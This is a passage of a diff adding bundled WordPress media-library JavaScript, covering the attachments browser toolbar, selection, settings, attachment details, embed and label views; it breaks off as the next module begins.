+	createToolbar: function() {
+		var LibraryViewSwitcher, Filters, toolbarOptions;
+
+		toolbarOptions = {
+			controller: this.controller
+		};
+
+		if ( this.controller.isModeActive( 'grid' ) ) {
+			toolbarOptions.className = 'media-toolbar wp-filter';
+		}
+
+		/**
+		* @member {wp.media.view.Toolbar}
+		*/
+		this.toolbar = new wp.media.view.Toolbar( toolbarOptions );
+
+		this.views.add( this.toolbar );
+
+		this.toolbar.set( 'spinner', new wp.media.view.Spinner({
+			priority: -60
+		}) );
+
+		if ( -1 !== $.inArray( this.options.filters, [ 'uploaded', 'all' ] ) ) {
+			// "Filters" will return a <select>, need to render
+			// screen reader text before
+			this.toolbar.set( 'filtersLabel', new wp.media.view.Label({
+				value: l10n.filterByType,
+				attributes: {
+					'for':  'media-attachment-filters'
+				},
+				priority:   -80
+			}).render() );
+
+			if ( 'uploaded' === this.options.filters ) {
+				this.toolbar.set( 'filters', new wp.media.view.AttachmentFilters.Uploaded({
+					controller: this.controller,
+					model:      this.collection.props,
+					priority:   -80
+				}).render() );
+			} else {
+				Filters = new wp.media.view.AttachmentFilters.All({
+					controller: this.controller,
+					model:      this.collection.props,
+					priority:   -80
+				});
+
+				this.toolbar.set( 'filters', Filters.render() );
+			}
+		}
+
+		// Feels odd to bring the global media library switcher into the Attachment
+		// browser view. Is this a use case for doAction( 'add:toolbar-items:attachments-browser', this.toolbar );
+		// which the controller can tap into and add this view?
+		if ( this.controller.isModeActive( 'grid' ) ) {
+			LibraryViewSwitcher = View.extend({
+				className: 'view-switch media-grid-view-switch',
+				template: wp.template( 'media-library-view-switcher')
+			});
+
+			this.toolbar.set( 'libraryViewSwitcher', new LibraryViewSwitcher({
+				controller: this.controller,
+				priority: -90
+			}).render() );
+
+			// DateFilter is a <select>, screen reader text needs to be rendered before
+			this.toolbar.set( 'dateFilterLabel', new wp.media.view.Label({
+				value: l10n.filterByDate,
+				attributes: {
+					'for': 'media-attachment-date-filters'
+				},
+				priority: -75
+			}).render() );
+			this.toolbar.set( 'dateFilter', new wp.media.view.DateFilter({
+				controller: this.controller,
+				model:      this.collection.props,
+				priority: -75
+			}).render() );
+
+			// BulkSelection is a <div> with subviews, including screen reader text
+			this.toolbar.set( 'selectModeToggleButton', new wp.media.view.SelectModeToggleButton({
+				text: l10n.bulkSelect,
+				controller: this.controller,
+				priority: -70
+			}).render() );
+
+			this.toolbar.set( 'deleteSelectedButton', new wp.media.view.DeleteSelectedButton({
+				filters: Filters,
+				style: 'primary',
+				disabled: true,
+				text: mediaTrash ? l10n.trashSelected : l10n.deleteSelected,
+				controller: this.controller,
+				priority: -60,
+				click: function() {
+					var changed = [], removed = [],
+						selection = this.controller.state().get( 'selection' ),
+						library = this.controller.state().get( 'library' );
+
+					if ( ! selection.length ) {
+						return;
+					}
+
+					if ( ! mediaTrash && ! window.confirm( l10n.warnBulkDelete ) ) {
+						return;
+					}
+
+					if ( mediaTrash &&
+						'trash' !== selection.at( 0 ).get( 'status' ) &&
+						! window.confirm( l10n.warnBulkTrash ) ) {
+
+						return;
+					}
+
+					selection.each( function( model ) {
+						if ( ! model.get( 'nonces' )['delete'] ) {
+							removed.push( model );
+							return;
+						}
+
+						if ( mediaTrash && 'trash' === model.get( 'status' ) ) {
+							model.set( 'status', 'inherit' );
+							changed.push( model.save() );
+							removed.push( model );
+						} else if ( mediaTrash ) {
+							model.set( 'status', 'trash' );
+							changed.push( model.save() );
+							removed.push( model );
+						} else {
+							model.destroy({wait: true});
+						}
+					} );
+
+					if ( changed.length ) {
+						selection.remove( removed );
+
+						$.when.apply( null, changed ).then( _.bind( function() {
+							library._requery( true );
+							this.controller.trigger( 'selection:action:done' );
+						}, this ) );
+					} else {
+						this.controller.trigger( 'selection:action:done' );
+					}
+				}
+			}).render() );
+
+			if ( mediaTrash ) {
+				this.toolbar.set( 'deleteSelectedPermanentlyButton', new wp.media.view.DeleteSelectedPermanentlyButton({
+					filters: Filters,
+					style: 'primary',
+					disabled: true,
+					text: l10n.deleteSelected,
+					controller: this.controller,
+					priority: -55,
+					click: function() {
+						var removed = [],
+							destroy = [],
+							selection = this.controller.state().get( 'selection' );
+
+						if ( ! selection.length || ! window.confirm( l10n.warnBulkDelete ) ) {
+							return;
+						}
+
+						selection.each( function( model ) {
+							if ( ! model.get( 'nonces' )['delete'] ) {
+								removed.push( model );
+								return;
+							}
+
+							destroy.push( model );
+						} );
+
+						if ( removed.length ) {
+							selection.remove( removed );
+						}
+
+						if ( destroy.length ) {
+							$.when.apply( null, destroy.map( function (item) {
+								return item.destroy();
+							} ) ).then( _.bind( function() {
+								this.controller.trigger( 'selection:action:done' );
+							}, this ) );
+						}
+					}
+				}).render() );
+			}
+
+		} else if ( this.options.date ) {
+			// DateFilter is a <select>, screen reader text needs to be rendered before
+			this.toolbar.set( 'dateFilterLabel', new wp.media.view.Label({
+				value: l10n.filterByDate,
+				attributes: {
+					'for': 'media-attachment-date-filters'
+				},
+				priority: -75
+			}).render() );
+			this.toolbar.set( 'dateFilter', new wp.media.view.DateFilter({
+				controller: this.controller,
+				model:      this.collection.props,
+				priority: -75
+			}).render() );
+		}
+
+		if ( this.options.search ) {
+			// Search is an input, screen reader text needs to be rendered before
+			this.toolbar.set( 'searchLabel', new wp.media.view.Label({
+				value: l10n.searchMediaLabel,
+				attributes: {
+					'for': 'media-search-input'
+				},
+				priority:   60
+			}).render() );
+			this.toolbar.set( 'search', new wp.media.view.Search({
+				controller: this.controller,
+				model:      this.collection.props,
+				priority:   60
+			}).render() );
+		}
+
+		if ( this.options.dragInfo ) {
+			this.toolbar.set( 'dragInfo', new View({
+				el: $( '<div class="instructions">' + l10n.dragInfo + '</div>' )[0],
+				priority: -40
+			}) );
+		}
+
+		if ( this.options.suggestedWidth && this.options.suggestedHeight ) {
+			this.toolbar.set( 'suggestedDimensions', new View({
+				el: $( '<div class="instructions">' + l10n.suggestedDimensions.replace( '%1$s', this.options.suggestedWidth ).replace( '%2$s', this.options.suggestedHeight ) + '</div>' )[0],
+				priority: -40
+			}) );
+		}
+	},
+
+	updateContent: function() {
+		var view = this,
+			noItemsView;
+
+		if ( this.controller.isModeActive( 'grid' ) ) {
+			noItemsView = view.attachmentsNoResults;
+		} else {
+			noItemsView = view.uploader;
+		}
+
+		if ( ! this.collection.length ) {
+			this.toolbar.get( 'spinner' ).show();
+			this.dfd = this.collection.more().done( function() {
+				if ( ! view.collection.length ) {
+					noItemsView.$el.removeClass( 'hidden' );
+				} else {
+					noItemsView.$el.addClass( 'hidden' );
+				}
+				view.toolbar.get( 'spinner' ).hide();
+			} );
+		} else {
+			noItemsView.$el.addClass( 'hidden' );
+			view.toolbar.get( 'spinner' ).hide();
+		}
+	},
+
+	createUploader: function() {
+		this.uploader = new wp.media.view.UploaderInline({
+			controller: this.controller,
+			status:     false,
+			message:    this.controller.isModeActive( 'grid' ) ? '' : l10n.noItemsFound,
+			canClose:   this.controller.isModeActive( 'grid' )
+		});
+
+		this.uploader.$el.addClass( 'hidden' );
+		this.views.add( this.uploader );
+	},
+
+	toggleUploader: function() {
+		if ( this.uploader.$el.hasClass( 'hidden' ) ) {
+			this.uploader.show();
+		} else {
+			this.uploader.hide();
+		}
+	},
+
+	createAttachments: function() {
+		this.attachments = new wp.media.view.Attachments({
+			controller:           this.controller,
+			collection:           this.collection,
+			selection:            this.options.selection,
+			model:                this.model,
+			sortable:             this.options.sortable,
+			scrollElement:        this.options.scrollElement,
+			idealColumnWidth:     this.options.idealColumnWidth,
+
+			// The single `Attachment` view to be used in the `Attachments` view.
+			AttachmentView: this.options.AttachmentView
+		});
+
+		// Add keydown listener to the instance of the Attachments view
+		this.controller.on( 'attachment:keydown:arrow',     _.bind( this.attachments.arrowEvent, this.attachments ) );
+		this.controller.on( 'attachment:details:shift-tab', _.bind( this.attachments.restoreFocus, this.attachments ) );
+
+		this.views.add( this.attachments );
+
+
+		if ( this.controller.isModeActive( 'grid' ) ) {
+			this.attachmentsNoResults = new View({
+				controller: this.controller,
+				tagName: 'p'
+			});
+
+			this.attachmentsNoResults.$el.addClass( 'hidden no-media' );
+			this.attachmentsNoResults.$el.html( l10n.noMedia );
+
+			this.views.add( this.attachmentsNoResults );
+		}
+	},
+
+	createSidebar: function() {
+		var options = this.options,
+			selection = options.selection,
+			sidebar = this.sidebar = new wp.media.view.Sidebar({
+				controller: this.controller
+			});
+
+		this.views.add( sidebar );
+
+		if ( this.controller.uploader ) {
+			sidebar.set( 'uploads', new wp.media.view.UploaderStatus({
+				controller: this.controller,
+				priority:   40
+			}) );
+		}
+
+		selection.on( 'selection:single', this.createSingle, this );
+		selection.on( 'selection:unsingle', this.disposeSingle, this );
+
+		if ( selection.single() ) {
+			this.createSingle();
+		}
+	},
+
+	createSingle: function() {
+		var sidebar = this.sidebar,
+			single = this.options.selection.single();
+
+		sidebar.set( 'details', new wp.media.view.Attachment.Details({
+			controller: this.controller,
+			model:      single,
+			priority:   80
+		}) );
+
+		sidebar.set( 'compat', new wp.media.view.AttachmentCompat({
+			controller: this.controller,
+			model:      single,
+			priority:   120
+		}) );
+
+		if ( this.options.display ) {
+			sidebar.set( 'display', new wp.media.view.Settings.AttachmentDisplay({
+				controller:   this.controller,
+				model:        this.model.display( single ),
+				attachment:   single,
+				priority:     160,
+				userSettings: this.model.get('displayUserSettings')
+			}) );
+		}
+
+		// Show the sidebar on mobile
+		if ( this.model.id === 'insert' ) {
+			sidebar.$el.addClass( 'visible' );
+		}
+	},
+
+	disposeSingle: function() {
+		var sidebar = this.sidebar;
+		sidebar.unset('details');
+		sidebar.unset('compat');
+		sidebar.unset('display');
+		// Hide the sidebar on mobile
+		sidebar.$el.removeClass( 'visible' );
+	}
+});
+
+module.exports = AttachmentsBrowser;
+
+
+/***/ }),
+/* 79 */
+/***/ (function(module, exports) {
+
+var l10n = wp.media.view.l10n,
+	Selection;
+
+/**
+ * wp.media.view.Selection
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Selection = wp.media.View.extend(/** @lends wp.media.view.Selection.prototype */{
+	tagName:   'div',
+	className: 'media-selection',
+	template:  wp.template('media-selection'),
+
+	events: {
+		'click .edit-selection':  'edit',
+		'click .clear-selection': 'clear'
+	},
+
+	initialize: function() {
+		_.defaults( this.options, {
+			editable:  false,
+			clearable: true
+		});
+
+		/**
+		 * @member {wp.media.view.Attachments.Selection}
+		 */
+		this.attachments = new wp.media.view.Attachments.Selection({
+			controller: this.controller,
+			collection: this.collection,
+			selection:  this.collection,
+			model:      new Backbone.Model()
+		});
+
+		this.views.set( '.selection-view', this.attachments );
+		this.collection.on( 'add remove reset', this.refresh, this );
+		this.controller.on( 'content:activate', this.refresh, this );
+	},
+
+	ready: function() {
+		this.refresh();
+	},
+
+	refresh: function() {
+		// If the selection hasn't been rendered, bail.
+		if ( ! this.$el.children().length ) {
+			return;
+		}
+
+		var collection = this.collection,
+			editing = 'edit-selection' === this.controller.content.mode();
+
+		// If nothing is selected, display nothing.
+		this.$el.toggleClass( 'empty', ! collection.length );
+		this.$el.toggleClass( 'one', 1 === collection.length );
+		this.$el.toggleClass( 'editing', editing );
+
+		this.$('.count').text( l10n.selected.replace('%d', collection.length) );
+	},
+
+	edit: function( event ) {
+		event.preventDefault();
+		if ( this.options.editable ) {
+			this.options.editable.call( this, this.collection );
+		}
+	},
+
+	clear: function( event ) {
+		event.preventDefault();
+		this.collection.reset();
+
+		// Keep focus inside media modal
+		// after clear link is selected
+		this.controller.modal.focusManager.focus();
+	}
+});
+
+module.exports = Selection;
+
+
+/***/ }),
+/* 80 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.Attachment.Selection
+ *
+ * @memberOf wp.media.view.Attachment
+ *
+ * @class
+ * @augments wp.media.view.Attachment
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Selection = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.Selection.prototype */{
+	className: 'attachment selection',
+
+	// On click, just select the model, instead of removing the model from
+	// the selection.
+	toggleSelection: function() {
+		this.options.selection.single( this.model );
+	}
+});
+
+module.exports = Selection;
+
+
+/***/ }),
+/* 81 */
+/***/ (function(module, exports) {
+
+var Attachments = wp.media.view.Attachments,
+	Selection;
+
+/**
+ * wp.media.view.Attachments.Selection
+ *
+ * @memberOf wp.media.view.Attachments
+ *
+ * @class
+ * @augments wp.media.view.Attachments
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Selection = Attachments.extend(/** @lends wp.media.view.Attachments.Selection.prototype */{
+	events: {},
+	initialize: function() {
+		_.defaults( this.options, {
+			sortable:   false,
+			resize:     false,
+
+			// The single `Attachment` view to be used in the `Attachments` view.
+			AttachmentView: wp.media.view.Attachment.Selection
+		});
+		// Call 'initialize' directly on the parent class.
+		return Attachments.prototype.initialize.apply( this, arguments );
+	}
+});
+
+module.exports = Selection;
+
+
+/***/ }),
+/* 82 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.Attachment.EditSelection
+ *
+ * @memberOf wp.media.view.Attachment
+ *
+ * @class
+ * @augments wp.media.view.Attachment.Selection
+ * @augments wp.media.view.Attachment
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var EditSelection = wp.media.view.Attachment.Selection.extend(/** @lends wp.media.view.Attachment.EditSelection.prototype */{
+	buttons: {
+		close: true
+	}
+});
+
+module.exports = EditSelection;
+
+
+/***/ }),
+/* 83 */
+/***/ (function(module, exports) {
+
+var View = wp.media.View,
+	$ = Backbone.$,
+	Settings;
+
+/**
+ * wp.media.view.Settings
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Settings = View.extend(/** @lends wp.media.view.Settings.prototype */{
+	events: {
+		'click button':    'updateHandler',
+		'change input':    'updateHandler',
+		'change select':   'updateHandler',
+		'change textarea': 'updateHandler'
+	},
+
+	initialize: function() {
+		this.model = this.model || new Backbone.Model();
+		this.listenTo( this.model, 'change', this.updateChanges );
+	},
+
+	prepare: function() {
+		return _.defaults({
+			model: this.model.toJSON()
+		}, this.options );
+	},
+	/**
+	 * @returns {wp.media.view.Settings} Returns itself to allow chaining
+	 */
+	render: function() {
+		View.prototype.render.apply( this, arguments );
+		// Select the correct values.
+		_( this.model.attributes ).chain().keys().each( this.update, this );
+		return this;
+	},
+	/**
+	 * @param {string} key
+	 */
+	update: function( key ) {
+		var value = this.model.get( key ),
+			$setting = this.$('[data-setting="' + key + '"]'),
+			$buttons, $value;
+
+		// Bail if we didn't find a matching setting.
+		if ( ! $setting.length ) {
+			return;
+		}
+
+		// Attempt to determine how the setting is rendered and update
+		// the selected value.
+
+		// Handle dropdowns.
+		if ( $setting.is('select') ) {
+			$value = $setting.find('[value="' + value + '"]');
+
+			if ( $value.length ) {
+				$setting.find('option').prop( 'selected', false );
+				$value.prop( 'selected', true );
+			} else {
+				// If we can't find the desired value, record what *is* selected.
+				this.model.set( key, $setting.find(':selected').val() );
+			}
+
+		// Handle button groups.
+		} else if ( $setting.hasClass('button-group') ) {
+			$buttons = $setting.find('button').removeClass('active');
+			$buttons.filter( '[value="' + value + '"]' ).addClass('active');
+
+		// Handle text inputs and textareas.
+		} else if ( $setting.is('input[type="text"], textarea') ) {
+			if ( ! $setting.is(':focus') ) {
+				$setting.val( value );
+			}
+		// Handle checkboxes.
+		} else if ( $setting.is('input[type="checkbox"]') ) {
+			$setting.prop( 'checked', !! value && 'false' !== value );
+		}
+	},
+	/**
+	 * @param {Object} event
+	 */
+	updateHandler: function( event ) {
+		var $setting = $( event.target ).closest('[data-setting]'),
+			value = event.target.value,
+			userSetting;
+
+		event.preventDefault();
+
+		if ( ! $setting.length ) {
+			return;
+		}
+
+		// Use the correct value for checkboxes.
+		if ( $setting.is('input[type="checkbox"]') ) {
+			value = $setting[0].checked;
+		}
+
+		// Update the corresponding setting.
+		this.model.set( $setting.data('setting'), value );
+
+		// If the setting has a corresponding user setting,
+		// update that as well.
+		if ( userSetting = $setting.data('userSetting') ) {
+			window.setUserSetting( userSetting, value );
+		}
+	},
+
+	updateChanges: function( model ) {
+		if ( model.hasChanged() ) {
+			_( model.changed ).chain().keys().each( this.update, this );
+		}
+	}
+});
+
+module.exports = Settings;
+
+
+/***/ }),
+/* 84 */
+/***/ (function(module, exports) {
+
+var Settings = wp.media.view.Settings,
+	AttachmentDisplay;
+
+/**
+ * wp.media.view.Settings.AttachmentDisplay
+ *
+ * @memberOf wp.media.view.Settings
+ *
+ * @class
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+AttachmentDisplay = Settings.extend(/** @lends wp.media.view.Settings.AttachmentDisplay.prototype */{
+	className: 'attachment-display-settings',
+	template:  wp.template('attachment-display-settings'),
+
+	initialize: function() {
+		var attachment = this.options.attachment;
+
+		_.defaults( this.options, {
+			userSettings: false
+		});
+		// Call 'initialize' directly on the parent class.
+		Settings.prototype.initialize.apply( this, arguments );
+		this.listenTo( this.model, 'change:link', this.updateLinkTo );
+
+		if ( attachment ) {
+			attachment.on( 'change:uploading', this.render, this );
+		}
+	},
+
+	dispose: function() {
+		var attachment = this.options.attachment;
+		if ( attachment ) {
+			attachment.off( null, null, this );
+		}
+		/**
+		 * call 'dispose' directly on the parent class
+		 */
+		Settings.prototype.dispose.apply( this, arguments );
+	},
+	/**
+	 * @returns {wp.media.view.AttachmentDisplay} Returns itself to allow chaining
+	 */
+	render: function() {
+		var attachment = this.options.attachment;
+		if ( attachment ) {
+			_.extend( this.options, {
+				sizes: attachment.get('sizes'),
+				type:  attachment.get('type')
+			});
+		}
+		/**
+		 * call 'render' directly on the parent class
+		 */
+		Settings.prototype.render.call( this );
+		this.updateLinkTo();
+		return this;
+	},
+
+	updateLinkTo: function() {
+		var linkTo = this.model.get('link'),
+			$input = this.$('.link-to-custom'),
+			attachment = this.options.attachment;
+
+		if ( 'none' === linkTo || 'embed' === linkTo || ( ! attachment && 'custom' !== linkTo ) ) {
+			$input.addClass( 'hidden' );
+			return;
+		}
+
+		if ( attachment ) {
+			if ( 'post' === linkTo ) {
+				$input.val( attachment.get('link') );
+			} else if ( 'file' === linkTo ) {
+				$input.val( attachment.get('url') );
+			} else if ( ! this.model.get('linkUrl') ) {
+				$input.val('http://');
+			}
+
+			$input.prop( 'readonly', 'custom' !== linkTo );
+		}
+
+		$input.removeClass( 'hidden' );
+
+		// If the input is visible, focus and select its contents.
+		if ( ! wp.media.isTouchDevice && $input.is(':visible') ) {
+			$input.focus()[0].select();
+		}
+	}
+});
+
+module.exports = AttachmentDisplay;
+
+
+/***/ }),
+/* 85 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.Settings.Gallery
+ *
+ * @memberOf wp.media.view.Settings
+ *
+ * @class
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Gallery = wp.media.view.Settings.extend(/** @lends wp.media.view.Settings.Gallery.prototype */{
+	className: 'collection-settings gallery-settings',
+	template:  wp.template('gallery-settings')
+});
+
+module.exports = Gallery;
+
+
+/***/ }),
+/* 86 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.Settings.Playlist
+ *
+ * @memberOf wp.media.view.Settings
+ *
+ * @class
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Playlist = wp.media.view.Settings.extend(/** @lends wp.media.view.Settings.Playlist.prototype */{
+	className: 'collection-settings playlist-settings',
+	template:  wp.template('playlist-settings')
+});
+
+module.exports = Playlist;
+
+
+/***/ }),
+/* 87 */
+/***/ (function(module, exports) {
+
+var Attachment = wp.media.view.Attachment,
+	l10n = wp.media.view.l10n,
+	Details;
+
+/**
+ * wp.media.view.Attachment.Details
+ *
+ * @memberOf wp.media.view.Attachment
+ *
+ * @class
+ * @augments wp.media.view.Attachment
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Details = Attachment.extend(/** @lends wp.media.view.Attachment.Details.prototype */{
+	tagName:   'div',
+	className: 'attachment-details',
+	template:  wp.template('attachment-details'),
+
+	attributes: function() {
+		return {
+			'tabIndex':     0,
+			'data-id':      this.model.get( 'id' )
+		};
+	},
+
+	events: {
+		'change [data-setting]':          'updateSetting',
+		'change [data-setting] input':    'updateSetting',
+		'change [data-setting] select':   'updateSetting',
+		'change [data-setting] textarea': 'updateSetting',
+		'click .delete-attachment':       'deleteAttachment',
+		'click .trash-attachment':        'trashAttachment',
+		'click .untrash-attachment':      'untrashAttachment',
+		'click .edit-attachment':         'editAttachment',
+		'keydown':                        'toggleSelectionHandler'
+	},
+
+	initialize: function() {
+		this.options = _.defaults( this.options, {
+			rerenderOnModelChange: false
+		});
+
+		this.on( 'ready', this.initialFocus );
+		// Call 'initialize' directly on the parent class.
+		Attachment.prototype.initialize.apply( this, arguments );
+	},
+
+	initialFocus: function() {
+		if ( ! wp.media.isTouchDevice ) {
+			/*
+			Previously focused the first ':input' (the readonly URL text field).
+			Since the first ':input' is now a button (delete/trash): when pressing
+			spacebar on an attachment, Firefox fires deleteAttachment/trashAttachment
+			as soon as focus is moved. Explicitly target the first text field for now.
+			@todo change initial focus logic, also for accessibility.
+			*/
+			this.$( 'input[type="text"]' ).eq( 0 ).focus();
+		}
+	},
+	/**
+	 * @param {Object} event
+	 */
+	deleteAttachment: function( event ) {
+		event.preventDefault();
+
+		if ( window.confirm( l10n.warnDelete ) ) {
+			this.model.destroy();
+			// Keep focus inside media modal
+			// after image is deleted
+			this.controller.modal.focusManager.focus();
+		}
+	},
+	/**
+	 * @param {Object} event
+	 */
+	trashAttachment: function( event ) {
+		var library = this.controller.library;
+		event.preventDefault();
+
+		if ( wp.media.view.settings.mediaTrash &&
+			'edit-metadata' === this.controller.content.mode() ) {
+
+			this.model.set( 'status', 'trash' );
+			this.model.save().done( function() {
+				library._requery( true );
+			} );
+		}  else {
+			this.model.destroy();
+		}
+	},
+	/**
+	 * @param {Object} event
+	 */
+	untrashAttachment: function( event ) {
+		var library = this.controller.library;
+		event.preventDefault();
+
+		this.model.set( 'status', 'inherit' );
+		this.model.save().done( function() {
+			library._requery( true );
+		} );
+	},
+	/**
+	 * @param {Object} event
+	 */
+	editAttachment: function( event ) {
+		var editState = this.controller.states.get( 'edit-image' );
+		if ( window.imageEdit && editState ) {
+			event.preventDefault();
+
+			editState.set( 'image', this.model );
+			this.controller.setState( 'edit-image' );
+		} else {
+			this.$el.addClass('needs-refresh');
+		}
+	},
+	/**
+	 * When reverse tabbing(shift+tab) out of the right details panel, deliver
+	 * the focus to the item in the list that was being edited.
+	 *
+	 * @param {Object} event
+	 */
+	toggleSelectionHandler: function( event ) {
+		if ( 'keydown' === event.type && 9 === event.keyCode && event.shiftKey && event.target === this.$( ':tabbable' ).get( 0 ) ) {
+			this.controller.trigger( 'attachment:details:shift-tab', event );
+			return false;
+		}
+
+		if ( 37 === event.keyCode || 38 === event.keyCode || 39 === event.keyCode || 40 === event.keyCode ) {
+			this.controller.trigger( 'attachment:keydown:arrow', event );
+			return;
+		}
+	}
+});
+
+module.exports = Details;
+
+
+/***/ }),
+/* 88 */
+/***/ (function(module, exports) {
+
+var View = wp.media.View,
+	AttachmentCompat;
+
+/**
+ * wp.media.view.AttachmentCompat
+ *
+ * A view to display fields added via the `attachment_fields_to_edit` filter.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+AttachmentCompat = View.extend(/** @lends wp.media.view.AttachmentCompat.prototype */{
+	tagName:   'form',
+	className: 'compat-item',
+
+	events: {
+		'submit':          'preventDefault',
+		'change input':    'save',
+		'change select':   'save',
+		'change textarea': 'save'
+	},
+
+	initialize: function() {
+		this.listenTo( this.model, 'change:compat', this.render );
+	},
+	/**
+	 * @returns {wp.media.view.AttachmentCompat} Returns itself to allow chaining
+	 */
+	dispose: function() {
+		if ( this.$(':focus').length ) {
+			this.save();
+		}
+		/**
+		 * call 'dispose' directly on the parent class
+		 */
+		return View.prototype.dispose.apply( this, arguments );
+	},
+	/**
+	 * @returns {wp.media.view.AttachmentCompat} Returns itself to allow chaining
+	 */
+	render: function() {
+		var compat = this.model.get('compat');
+		if ( ! compat || ! compat.item ) {
+			return;
+		}
+
+		this.views.detach();
+		this.$el.html( compat.item );
+		this.views.render();
+		return this;
+	},
+	/**
+	 * @param {Object} event
+	 */
+	preventDefault: function( event ) {
+		event.preventDefault();
+	},
+	/**
+	 * @param {Object} event
+	 */
+	save: function( event ) {
+		var data = {};
+
+		if ( event ) {
+			event.preventDefault();
+		}
+
+		_.each( this.$el.serializeArray(), function( pair ) {
+			data[ pair.name ] = pair.value;
+		});
+
+		this.controller.trigger( 'attachment:compat:waiting', ['waiting'] );
+		this.model.saveCompat( data ).always( _.bind( this.postSave, this ) );
+	},
+
+	postSave: function() {
+		this.controller.trigger( 'attachment:compat:ready', ['ready'] );
+	}
+});
+
+module.exports = AttachmentCompat;
+
+
+/***/ }),
+/* 89 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.Iframe
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Iframe = wp.media.View.extend(/** @lends wp.media.view.Iframe.prototype */{
+	className: 'media-iframe',
+	/**
+	 * @returns {wp.media.view.Iframe} Returns itself to allow chaining
+	 */
+	render: function() {
+		this.views.detach();
+		this.$el.html( '<iframe src="' + this.controller.state().get('src') + '" />' );
+		this.views.render();
+		return this;
+	}
+});
+
+module.exports = Iframe;
+
+
+/***/ }),
+/* 90 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.Embed
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Embed = wp.media.View.extend(/** @lends wp.media.view.Ember.prototype */{
+	className: 'media-embed',
+
+	initialize: function() {
+		/**
+		 * @member {wp.media.view.EmbedUrl}
+		 */
+		this.url = new wp.media.view.EmbedUrl({
+			controller: this.controller,
+			model:      this.model.props
+		}).render();
+
+		this.views.set([ this.url ]);
+		this.refresh();
+		this.listenTo( this.model, 'change:type', this.refresh );
+		this.listenTo( this.model, 'change:loading', this.loading );
+	},
+
+	/**
+	 * @param {Object} view
+	 */
+	settings: function( view ) {
+		if ( this._settings ) {
+			this._settings.remove();
+		}
+		this._settings = view;
+		this.views.add( view );
+	},
+
+	refresh: function() {
+		var type = this.model.get('type'),
+			constructor;
+
+		if ( 'image' === type ) {
+			constructor = wp.media.view.EmbedImage;
+		} else if ( 'link' === type ) {
+			constructor = wp.media.view.EmbedLink;
+		} else {
+			return;
+		}
+
+		this.settings( new constructor({
+			controller: this.controller,
+			model:      this.model.props,
+			priority:   40
+		}) );
+	},
+
+	loading: function() {
+		this.$el.toggleClass( 'embed-loading', this.model.get('loading') );
+	}
+});
+
+module.exports = Embed;
+
+
+/***/ }),
+/* 91 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.Label
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Label = wp.media.View.extend(/** @lends wp.media.view.Label.prototype */{
+	tagName: 'label',
+	className: 'screen-reader-text',
+
+	initialize: function() {
+		this.value = this.options.value;
+	},
+
+	render: function() {
+		this.$el.html( this.value );
+
+		return this;
+	}
+});
+
+module.exports = Label;
+
+
+/***/ }),
+/* 92 */
+/***/ (function(module, exports) {
+
+var View = wp.media.View,
+	$ = jQuery,
+	EmbedUrl;
+
+/**
+ * wp.media.view.EmbedUrl
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+EmbedUrl = View.extend(/** @lends wp.media.view.EmbedUrl.prototype */{
+	tagName:   'label',
+	className: 'embed-url',
+
+	events: {
+		'input':  'url',
+		'keyup':  'url',
+		'change': 'url'
+	},
+
+	initialize: function() {
+		this.$input = $('<input id="embed-url-field" type="url" />').val( this.model.get('url') );
+		this.input = this.$input[0];
+
+		this.spinner = $('<span class="spinner" />')[0];
+		this.$el.append([ this.input, this.spinner ]);
+
+		this.listenTo( this.model, 'change:url', this.render );
+
+		if ( this.model.get( 'url' ) ) {
+			_.delay( _.bind( function () {
+				this.model.trigger( 'change:url' );
+			}, this ), 500 );
+		}
+	},
+	/**
+	 * @returns {wp.media.view.EmbedUrl} Returns itself to allow chaining
+	 */
+	render: function() {
+		var $input = this.$input;
+
+		if ( $input.is(':focus') ) {
+			return;
+		}
+
+		this.input.value = this.model.get('url') || 'http://';
+		/**
+		 * Call `render` directly on parent class with passed arguments
+		 */
+		View.prototype.render.apply( this, arguments );
+		return this;
+	},
+
+	ready: function() {
+		if ( ! wp.media.isTouchDevice ) {
+			this.focus();
+		}
+	},
+
+	url: function( event ) {
+		this.model.set( 'url', $.trim( event.target.value ) );
+	},
+
+	/**
+	 * If the input is visible, focus and select its contents.
+	 */
+	focus: function() {
+		var $input = this.$input;
+		if ( $input.is(':visible') ) {
+			$input.focus()[0].select();
+		}
+	}
+});
+
+module.exports = EmbedUrl;
+
+
+/***/ }),
+/* 93 */
+/***/ (function(module, exports) {
+
+var $ = jQuery,
+	EmbedLink;
+
+/**
